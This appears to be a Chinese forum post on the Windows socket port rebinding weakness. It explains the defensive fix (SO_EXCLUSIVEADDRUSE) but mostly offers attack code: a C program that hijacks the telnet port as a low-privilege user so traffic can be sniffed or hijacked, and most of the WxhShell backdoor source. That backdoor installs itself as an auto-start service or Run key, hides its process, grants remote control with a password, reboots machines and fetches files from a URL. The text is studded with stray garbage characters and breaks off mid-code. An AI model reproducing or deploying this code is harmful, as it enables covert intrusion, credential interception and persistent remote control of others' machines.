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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ){XG%nC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HtGGcO'bqg  
oj~0zJI  
  saddr.sin_family = AF_INET; 6"U)d7^  
_sp/RU,J-3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N}j^55M_]  
_J`q\N K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Kly`V]XE  
[vY? !  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p*Hbc|?{Q&  
5\$8"/H  
  这意味着什么?意味着可以进行如下的攻击: Qd$!?h  
vd'd@T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f")*I  
Um9]X@z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0`dMT>&I  
2u|} gZts  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e(m#elX  
-l` 1j6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _oJq32  
|KxFi H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GP\Pk/E  
4#BoS9d2I<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vS|uN(a.P  
s`:-6{E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .OC{,f+  
30v 3C7o=  
  #include r*!sA5  
  #include 1 k}U+  
  #include ki^c)Tqn  
  #include    DdL0MGwX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |Skk1 #  
  int main() -S"$S16D  
  { /U#{6zeM[,  
  WORD wVersionRequested; oG)JH)!  
  DWORD ret; 3./4] _p  
  WSADATA wsaData; e)~7pXYV)  
  BOOL val; P]@m0f  
  SOCKADDR_IN saddr; )TBG-<wt  
  SOCKADDR_IN scaddr; :+SpZ>  
  int err; 4S]`S\w  
  SOCKET s; |*im$[g=-  
  SOCKET sc; Jyx6{O j  
  int caddsize; !v2D 18(  
  HANDLE mt; G2%%$7Jj  
  DWORD tid;   y+XB  
  wVersionRequested = MAKEWORD( 2, 2 ); iG1vy'J#o  
  err = WSAStartup( wVersionRequested, &wsaData ); q=5#t~?  
  if ( err != 0 ) { tndtwM*B'  
  printf("error!WSAStartup failed!\n");  U'nz3  
  return -1; ~(xIG  
  } UpgY}pf}  
  saddr.sin_family = AF_INET; u$N2uFc  
   F(8>"(C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -O2ZrJ!q  
szC~?]<YY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xFpMn}CD  
  saddr.sin_port = htons(23); 9tVA.:FOZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PX3rHKK {  
  { "$? f&*  
  printf("error!socket failed!\n"); .Z}ySd:X  
  return -1; bGvALz'  
  } J3fcnI  
  val = TRUE; > ln%3 =  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5uK:f\y)l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )z9)oM\  
  { J 21D/#v  
  printf("error!setsockopt failed!\n");  b]s*z<|%  
  return -1; q@ >s#  
  } &j,rq?eh$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (z0S5#g ,x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c<j2wKz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tt`j!!  
ln7{c #lE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _](vt,|L  
  {  UfEF>@0  
  ret=GetLastError(); B~cQl  
  printf("error!bind failed!\n"); #J]u3*T n|  
  return -1; ?5nF` [rx  
  } r>S?,qr  
  listen(s,2); /i$ mIj`  
  while(1) *M5 =PQfb  
  { 2JZf@x+}  
  caddsize = sizeof(scaddr); 'H2TwSbIXI  
  //接受连接请求 vBUx )l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^ad p<?q4  
  if(sc!=INVALID_SOCKET) @^:R1c![s  
  { b w!;ZRK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RV5X0  
  if(mt==NULL) w{Wz^=';  
  { 'D8WNZ8Q  
  printf("Thread Creat Failed!\n"); ]lzt "[  
  break; $ +;`[b   
  } l [?o du4  
  } -:`$8/A|  
  CloseHandle(mt); a|`Pg1j#  
  } n'{cU(  
  closesocket(s); 0b9K/a%sQv  
  WSACleanup(); Jz s.)  
  return 0; u~\u8X3  
  }   s<[%7 6Y!  
  DWORD WINAPI ClientThread(LPVOID lpParam) [k.|iCD  
  { f( 5c  
  SOCKET ss = (SOCKET)lpParam; $*^Ms>Pa_  
  SOCKET sc; LY[XPV]t  
  unsigned char buf[4096]; Mo|[Muj8b  
  SOCKADDR_IN saddr; hex:e2x  
  long num; n5A0E2!  
  DWORD val; AzVON#rj  
  DWORD ret; VS<E?JnbFV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6Yebc_, R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k/YEUC5  
  saddr.sin_family = AF_INET; r k;k:<c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yTwv2l;U  
  saddr.sin_port = htons(23);  XeDiiI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I.TdYSB  
  { N"/jn_>+j  
  printf("error!socket failed!\n"); e )l<D)  
  return -1; bl NJ  
  } wq!Gj]B  
  val = 100; x2 /\%!mt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $^?"/;8P5  
  { S\K;h/;V  
  ret = GetLastError(); R9nW5f Nf  
  return -1; v{ Md4 p  
  } ?Z= %I$i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9F)+p7VJq  
  { JsI` #  
  ret = GetLastError(); DZ -5A  
  return -1; 6gV-u~j[#  
  } _Q,`Qn@|BD  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z&[Rw<{Psb  
  { p'fq&a+  
  printf("error!socket connect failed!\n"); __M(dN(^  
  closesocket(sc); Z .VIb|  
  closesocket(ss); #4iSQ$0  
  return -1; G#-t&gO3  
  } 9HrT>{@  
  while(1) os0fwv  
  { S0\QZ/je  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 42E]&=Cet  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 d\dh"/_$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Lg Xc}3  
  num = recv(ss,buf,4096,0); "vI:B}  
  if(num>0) b{JcV  
  send(sc,buf,num,0); RhR{EO  
  else if(num==0) TELN4*  
  break; LdnHz#  
  num = recv(sc,buf,4096,0); &SuWmtq  
  if(num>0) U Hh  
  send(ss,buf,num,0); 4\ R2\  
  else if(num==0) S?ELFq(g  
  break; !m8MyZ}%  
  } Q`- JRY-  
  closesocket(ss); RQhS]y@e  
  closesocket(sc); v&Xsyb0CaM  
  return 0 ; t4(Z@X$  
  } 6BK-(>c(6  
1) 7n (  
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========================================================== & -L$B  
:_9MS0  
下边附上一个代码,,WXhSHELL D! TFb E  
$Y'}wB{pc  
========================================================== E;m]RtvH  
e$kBpG"D  
#include "stdafx.h" Kz>bfq7  
v$~1{}iI5  
#include <stdio.h> tDw(k[aK@  
#include <string.h> @GTkS!86  
#include <windows.h> G*;?&;*  
#include <winsock2.h> |Z6M?n  
#include <winsvc.h> ]mIcK  
#include <urlmon.h> 96G8B62  
9~3;upWu!  
#pragma comment (lib, "Ws2_32.lib") ) 0NKL:u  
#pragma comment (lib, "urlmon.lib") AzFd#P  
>?3yVE  
#define MAX_USER   100 // 最大客户端连接数 Aw?i6d  
#define BUF_SOCK   200 // sock buffer mQL8ec_c  
#define KEY_BUFF   255 // 输入 buffer  vVvx g0  
%vF,wQC  
#define REBOOT     0   // 重启 arVu`pD*n  
#define SHUTDOWN   1   // 关机 Oly"ll*K  
Nk JOD3>U  
#define DEF_PORT   5000 // 监听端口 f6/<lSoW  
P"-*'q,9  
#define REG_LEN     16   // 注册表键长度 #BPJRNXd  
#define SVC_LEN     80   // NT服务名长度 Q[PVkZ  
1`6kc9f.  
// 从dll定义API -9PJ4"H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h D5NX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f%,Vplb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8-#_xsZ^;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UTWchh  
g2 RrBK,  
// wxhshell配置信息 ) |t;nK,  
struct WSCFG { ;- 0 d2Z  
  int ws_port;         // 监听端口  lL\%eQ  
  char ws_passstr[REG_LEN]; // 口令 1>yh`Bp\=  
  int ws_autoins;       // 安装标记, 1=yes 0=no I8x,8}o>V  
  char ws_regname[REG_LEN]; // 注册表键名 r!+..c  
  char ws_svcname[REG_LEN]; // 服务名 mV>l`&K=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k`we_$/Gw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F o k%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o}4~CN9}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;OMR5KAz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uqotVil,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {<}9r6k;f  
AT6o~u!WU  
}; Q6 oM$qiM  
/nq\*)S#&  
// default Wxhshell configuration 8NZQTRdH  
struct WSCFG wscfg={DEF_PORT, #}p@+rkg2  
    "xuhuanlingzhe", @D[tljc^  
    1, OH >#f6`[  
    "Wxhshell", WEaG/)y  
    "Wxhshell", )5[OG7/g  
            "WxhShell Service", 8P?p  
    "Wrsky Windows CmdShell Service", 88&M8T'AP  
    "Please Input Your Password: ", eae`#>XP  
  1, Te6cw+6  
  "http://www.wrsky.com/wxhshell.exe", XN^l*Q?3n  
  "Wxhshell.exe" c4f3Dr'xw  
    }; eF"k"Ckt'  
9oU1IT9   
// 消息定义模块 "Cz0r"N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b!<\#[ A4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pi|=3W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eH_< <Xh!v  
char *msg_ws_ext="\n\rExit."; XiL[1JM  
char *msg_ws_end="\n\rQuit."; aizJ&7(>  
char *msg_ws_boot="\n\rReboot..."; L9$`zc  
char *msg_ws_poff="\n\rShutdown..."; )61X,z  
char *msg_ws_down="\n\rSave to "; /jl/SV+  
^)E# c  
char *msg_ws_err="\n\rErr!"; )Drif\FF)  
char *msg_ws_ok="\n\rOK!"; I=pFGU  
*e25!#o1  
char ExeFile[MAX_PATH]; RsW4 '5  
int nUser = 0; Ya &\b 6  
HANDLE handles[MAX_USER]; ]7{ e~U  
int OsIsNt; $DlO<  
2b/Cs#-  
SERVICE_STATUS       serviceStatus; /o^/ J~/3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FEO /RMh  
G3o`\4p  
// 函数声明 jdIAN  
int Install(void); FN/siw(?3  
int Uninstall(void); x }@P  
int DownloadFile(char *sURL, SOCKET wsh); ZY|$[>X!  
int Boot(int flag); F!<!)_8Q  
void HideProc(void); feJl[3@tO  
int GetOsVer(void); W1&"dT@  
int Wxhshell(SOCKET wsl); ||))gI`3a  
void TalkWithClient(void *cs); &^7(?C' u  
int CmdShell(SOCKET sock); z22:O"UHa  
int StartFromService(void); u` ;P^t5  
int StartWxhshell(LPSTR lpCmdLine); jp7cPpk:LG  
YrsE 88QqI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Nt|Fw$3*5{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "vX\Q rL  
je`Inn<  
// 数据结构和表定义 :Y|[?;  
SERVICE_TABLE_ENTRY DispatchTable[] = ?=im  ~  
{ p^1~o/  
{wscfg.ws_svcname, NTServiceMain}, $)eS Gslz  
{NULL, NULL} z%1& t4$  
}; [V_+/[AA)  
*c>B-Fo/D  
// 自我安装 V`8\)FFG  
int Install(void) &xpvHKJl  
{ c^<~Y$i  
  char svExeFile[MAX_PATH]; \ B'AXv 6  
  HKEY key; !4T!@"#  
  strcpy(svExeFile,ExeFile); ?G<ISiABQC  
`2/V.REX$h  
// 如果是win9x系统,修改注册表设为自启动 [C\B2iU7_M  
if(!OsIsNt) { 91-[[<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lD{*Z spz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v o4U%  
  RegCloseKey(key); TT no  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CDPu(,^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J0imWluhQ  
  RegCloseKey(key); H:P7G_!\  
  return 0; ]V)*WP#a  
    } Bg] %  
  } :5F(,Z_  
} X:lStO#5  
else { 'Z]wh.]T  
?\kuP ?\  
// 如果是NT以上系统,安装为系统服务 dtE"1nR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,"F0#5  
if (schSCManager!=0) 1:r#m- \  
{ DN iH" 0%  
  SC_HANDLE schService = CreateService LJom+PxF$x  
  ( ! >V)x  
  schSCManager, M[+#*f.T}  
  wscfg.ws_svcname, f7|Tp m  
  wscfg.ws_svcdisp, /2 hk9XM  
  SERVICE_ALL_ACCESS, =ZO lE|4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @qYT/V*/  
  SERVICE_AUTO_START, t-5 Y,}j  
  SERVICE_ERROR_NORMAL, &r,)4q+  
  svExeFile, !.-u'6e  
  NULL, =6+99<G|%M  
  NULL, B,&QI&k`~  
  NULL, E NCWOj  
  NULL, hu1ZckIw?  
  NULL " Zx<hL*  
  ); ,<'>j a C  
  if (schService!=0) 6B%  h  
  { qGX#(,E9;  
  CloseServiceHandle(schService); J3(E{w8Q  
  CloseServiceHandle(schSCManager); #vhN$H:&q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0AdxV?6z  
  strcat(svExeFile,wscfg.ws_svcname); x$bUd 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JT!9LNh;R`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,p OGT71  
  RegCloseKey(key); 15q^&l[Q  
  return 0; "*.N'J\  
    } pkae91  
  } kY!zBk  
  CloseServiceHandle(schSCManager); ~;a \S3  
} k& +gkJm  
} lSW'qgh  
D/~1?p  
return 1; ]@ke_' "  
} AFm9"mQrw  
\@WVeFr  
// 自我卸载 <nN.$4~X  
int Uninstall(void) i>]PW|]  
{ #{{p4/:  
  HKEY key; '"\'<>Be  
(XW'1@b  
if(!OsIsNt) { S2;^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mO]>]   
  RegDeleteValue(key,wscfg.ws_regname); V-@4s}zX  
  RegCloseKey(key); QnD8L.Dg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZQ+DAX*MS  
  RegDeleteValue(key,wscfg.ws_regname); l EzN   
  RegCloseKey(key); <Q/)SN6_E  
  return 0; fn=A_ i  
  } Q}OloA(+  
} d+,!p8Q  
} W. kcN,  
else { M TZCI}  
3 dJ362  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V){Io_"  
if (schSCManager!=0) 0bM_EC  
{ Wm`*IBWA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D|*w6p("z  
  if (schService!=0) ;"x+V gS'  
  { ){w{#  
  if(DeleteService(schService)!=0) { (C#0 ML  
  CloseServiceHandle(schService); q,@# cQBV  
  CloseServiceHandle(schSCManager); e4SS'0|  
  return 0; T+@i;M  
  } U364'O8_  
  CloseServiceHandle(schService); >Ti%Th,  
  } (w)%2vZ^  
  CloseServiceHandle(schSCManager); jIT|Kk&]  
} )Bn }|6`  
} n|&=6hiI  
<_<zrXc]  
return 1; `1(ED= |  
} |<h}'  
5(J?C-Pk  
// 从指定url下载文件 7;AK=;  
int DownloadFile(char *sURL, SOCKET wsh) ||QK)$"  
{ x4c|/}\)*  
  HRESULT hr; QJ;dw8  
char seps[]= "/"; \DS*G7.A+&  
char *token; [;Lgbgt3f  
char *file; 7)jN:+4N  
char myURL[MAX_PATH]; 6384$mT,S  
char myFILE[MAX_PATH]; sIf]e'@AC  
jDb\4QyC  
strcpy(myURL,sURL); 9X 4[Zk  
  token=strtok(myURL,seps); AZc= Bbh  
  while(token!=NULL) }k-8PG =  
  { 5H XF3  
    file=token; 8Lx/ZGy  
  token=strtok(NULL,seps); L7buY(F(  
  } D1ZyJs#  
~k"b"+2  
GetCurrentDirectory(MAX_PATH,myFILE);  4bA^Gq  
strcat(myFILE, "\\"); \z.bORy  
strcat(myFILE, file); %AA&n*m  
  send(wsh,myFILE,strlen(myFILE),0); ub~ t}  
send(wsh,"...",3,0); er7(Wph  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HP]5"ziA  
  if(hr==S_OK) Zw0KV%7hD  
return 0; XJeWhk3R9  
else ,H+Y1N4W(  
return 1; hxMRmH[f:  
K*T^w3=  
} lL:!d.{  
]-X6Cl  
// 系统电源模块 A_S7z*T  
int Boot(int flag) mbkt7. ,P  
{ -V6caVlg  
  HANDLE hToken; x6R M)rr  
  TOKEN_PRIVILEGES tkp; mA$y$73=T  
"NA<^2W@J  
  if(OsIsNt) { Fnak:R0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *4%pXm;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C @<T(`o  
    tkp.PrivilegeCount = 1; uOzoE_i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G$TO'Ciu:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |3e+ K.  
if(flag==REBOOT) { D(']k?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ugTsI~aE  
  return 0; C\5G43`  
} hQj@D\}  
else { <">epbV6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]$L5}pE3  
  return 0; d"Zu10  
} 7BU7sQjs  
  } e7"T37  
  else { P#V!hfM  
if(flag==REBOOT) { ?lD)J?j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VrPsy) J68  
  return 0; Z C01MDIY  
} SZe55mK`  
else { *h0D,O"0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k/{WlLN  
  return 0; 1}la)lC  
} *V',@NH#Os  
} xSD*e 0  
C`_/aR6  
return 1; Wrb[\ ?-  
} 8_4!Ar>2  
F|> 3gW  
// win9x进程隐藏模块 $Okmurnn  
void HideProc(void) .%n_{ab1  
{ nC,QvV  
=>5Lp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6:|;O  
  if ( hKernel != NULL ) <!RkkU& 6  
  { &,G2<2_b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yC1OeO8{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _[&V9 Jt  
    FreeLibrary(hKernel); 9pnOAM}  
  } rZdOU?U  
C lf;+G0  
return; WeRDaG  
} Ygk_gBRiC  
{Ia1H  
// 获取操作系统版本 1z7+:~;l  
int GetOsVer(void) _Sd^/jGpU  
{ 4!{lySW  
  OSVERSIONINFO winfo; M}[Q2v\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8d5#vm  
  GetVersionEx(&winfo); ]'Eg2(wy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) id9QfJ9t  
  return 1; V WZpEi  
  else 0>CG2SRn  
  return 0; b>p_w%d[[J  
} HI|egf@  
N}U+K  
// 客户端句柄模块 u~uz=Yse  
int Wxhshell(SOCKET wsl) m   uO.  
{ ]2f-oz*hU  
  SOCKET wsh; B(Yg1jAe  
  struct sockaddr_in client; 3G4WKg.^  
  DWORD myID; KdozB!\  
I= :yfW  
  while(nUser<MAX_USER) C2rG3X^~Jm  
{ @uyQH c,V  
  int nSize=sizeof(client); 5lHt~hB\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E va&/o?P|  
  if(wsh==INVALID_SOCKET) return 1; Xk|a%%O*H  
OAq-(_H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >mA]2gV<a  
if(handles[nUser]==0) yWRIh*>nE  
  closesocket(wsh); Jm CHwyUK?  
else BTr oe=R  
  nUser++; TU_'1  
  } 0O'M^[=d.8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *c4OhMU(  
 )XonFI  
  return 0; Y S7lB  
} U3Gg:onuE  
46T(1_Xt~  
// 关闭 socket N:3=G`Ws  
void CloseIt(SOCKET wsh) ,?m@Ko7Y  
{ 51eZfJB  
closesocket(wsh); fIpS P@$<  
nUser--; ~N9k8eT  
ExitThread(0); tBzE(vW  
} Pn4.gabE  
L>/$l(  
// 客户端请求句柄 dY$nw  
void TalkWithClient(void *cs) 8HLL3H0  
{ Ma?uB8o+~  
0c"9C_7^g  
  SOCKET wsh=(SOCKET)cs; 4IZAJqw(*  
  char pwd[SVC_LEN]; ^~l@ _r  
  char cmd[KEY_BUFF]; (BH<\&yHE  
char chr[1]; %9zpPr WF  
int i,j; vh2/d.MO  
.=}\yYGe   
  while (nUser < MAX_USER) { 5D/Td#T04  
DHn\ =M  
if(wscfg.ws_passstr) { zhow\l2t}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $H@   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n>JJ Xw,,  
  //ZeroMemory(pwd,KEY_BUFF); IG}yGGn  
      i=0; 6E_~8oEl  
  while(i<SVC_LEN) { .DwiIr'  
[%LGiCU]  
  // 设置超时 M1P;x._n  
  fd_set FdRead; ?7CdJgJp  
  struct timeval TimeOut; lu>G=uCJ  
  FD_ZERO(&FdRead); bp8sZK"z  
  FD_SET(wsh,&FdRead); ]D@aMC$#  
  TimeOut.tv_sec=8; zuMz6#aCC8  
  TimeOut.tv_usec=0; gmTBp}3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s0_HMP x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G1X73qoHT<  
uHf1b?W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  1l}Am>}  
  pwd=chr[0]; _{if"  
  if(chr[0]==0xd || chr[0]==0xa) { v^/<2/E"?4  
  pwd=0;  ]E :L  
  break; \A!I ln  
  } Tl_o+jj  
  i++; HIj:?y  
    } a]V#mF |{  
KIuj;|!q  
  // 如果是非法用户,关闭 socket xV`)?hEXFh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7]5+%[Dg!  
} &2y9J2aA  
b+AxTe("  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g~|x^d^;|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iH>JR[A  
.d#Hh&jj  
while(1) { pR*3Q@Ng  
#"C* dNAB  
  ZeroMemory(cmd,KEY_BUFF); v7+|G'8M`  
lzFg(Ds!f  
      // 自动支持客户端 telnet标准   HF&d HD2f  
  j=0; \Ym$to  
  while(j<KEY_BUFF) { 3uvl'1(%J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Iw$T'I+4W  
  cmd[j]=chr[0]; +K=RMqM-8  
  if(chr[0]==0xa || chr[0]==0xd) { rTC|8e  
  cmd[j]=0; F')E)tV  
  break; E[CvxVCx  
  } ;%>X+/.y0  
  j++; V z5<Gr  
    } zZ<~yi3A9  
_ -ec(w~/  
  // 下载文件 =/xXB  
  if(strstr(cmd,"http://")) { tJGPkeA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jNIz:_c-~  
  if(DownloadFile(cmd,wsh)) 9 771D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (ke<^sv7!  
  else ryd}-_LL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {5fq4A A6  
  } w' 5W L  
  else { Ki)hr%UFw  
Oo\~' I  
    switch(cmd[0]) { 4x/u$Ixzh=  
  F<6{$YI  
  // 帮助 38JU-aq  
  case '?': { M?$tHA~OX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "yXqf%CGE  
    break; mvtuV`  
  } I|mxyyf  
  // 安装 =0U"07%}  
  case 'i': { { lZ<'p  
    if(Install()) o{ | |Ig  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lhgs|*M  
    else ^A;ec h7I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `,wX&@sN  
    break; IZ_ B $mo  
    } Yr:$)ap  
  // 卸载 &cx]7:;  
  case 'r': { ?Vr~~v"fg8  
    if(Uninstall()) N<lf,zGw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9**u\H)P6  
    else `VOLw*Ci  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gkv,Om  
    break; 'seuO!5  
    } E!>l@ ki  
  // 显示 wxhshell 所在路径 '8Lc}-M4  
  case 'p': { ]jJ4\O`  
    char svExeFile[MAX_PATH]; O`(it %Ho!  
    strcpy(svExeFile,"\n\r"); =~QC)y_  
      strcat(svExeFile,ExeFile); >z8y L+  
        send(wsh,svExeFile,strlen(svExeFile),0); ; >>/}Jw\  
    break; C)s*1@af  
    } C;!h4l7L  
  // 重启 j(=zc6m  
  case 'b': { qS2]|7q?Tc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kC6s_k  
    if(Boot(REBOOT)) e%DF9}M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K,GX5c5  
    else { <b;Oap3  
    closesocket(wsh); jLf87  
    ExitThread(0); ,k3aeM~`%w  
    } o!t1EPJE*  
    break; ^-7{{/  
    } 'r?OzFtxh  
  // 关机 Y3wL EG%,:  
  case 'd': { qxW 2q8QHo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Kx[z7]1@  
